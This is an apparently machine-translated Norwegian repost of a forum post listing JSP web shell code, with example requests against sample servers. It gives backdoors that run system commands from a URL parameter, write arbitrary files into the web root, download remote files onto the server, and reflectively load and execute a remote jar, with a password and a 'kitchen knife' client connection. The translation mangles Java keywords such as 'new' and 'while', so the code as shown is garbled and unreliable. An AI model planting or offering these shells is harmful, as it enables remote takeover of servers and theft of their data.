|
|
Publisert på 02.01.2015 18:46:57
|
|
|
|

Overført fra: http://p2j.cn/?p=1627 1. Utfør systemkommandoer: Utfør systemkommandoer uten ekko: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Forespørsel: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Det vil ikke være noe ekko etter utførelsen, noe som er veldig praktisk for bounce-skall. Det finnes ekko med passordverifisering: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = ny byte[2048]; out.print("<pre>"); mens((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Forespørsel: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Koder strengen og skriv den til den angitte filen: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Forespørsel: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Skriv til nettkatalogen: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Forespørsel: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Forespørsel: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Skriv til nettkatalogen: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Forespørsel: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Last ned den eksterne filen (hvis du ikke bruker Apache IO Utils, kan du ikke konvertere inputstreamen til byte, så den er veldig lang...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = ny byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mens ((a = in.read(b)) != -1) { baos.write(b, 0, a); } ny java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Forespørsel: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Last ned til nettbanen: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = ny byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mens ((a = in.read(b)) != -1) { baos.write(b, 0, a); } ny java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Forespørsel: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Fire: Refleksjon kaller den ytre krukken, perfeksjoner bakdøren Hvis du ikke liker at bakdørsfunksjonen ovenfor er for svak og utdatert, kan du prøve dette: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Forespørsel: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Kjøkkenkniv-tilkobling: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, passord 023.
Løsning: Bruk refleksjon for å laste inn en ekstern jar i den nåværende applikasjonen, og refleksjon kjører resultatet av utdatabehandlingen. request.getParameterMap() inneholder alle de forespurte parameterne. Siden den eksterne jar-pakken lastes inn, må serveren kunne få tilgang til denne jar-adressen. |
Foregående:Krisen bak TXT-tekstfilenNeste:Java MD5-kryptering, Base64-kryptering og dekryptering Java kjører systemkommando-kildekode
|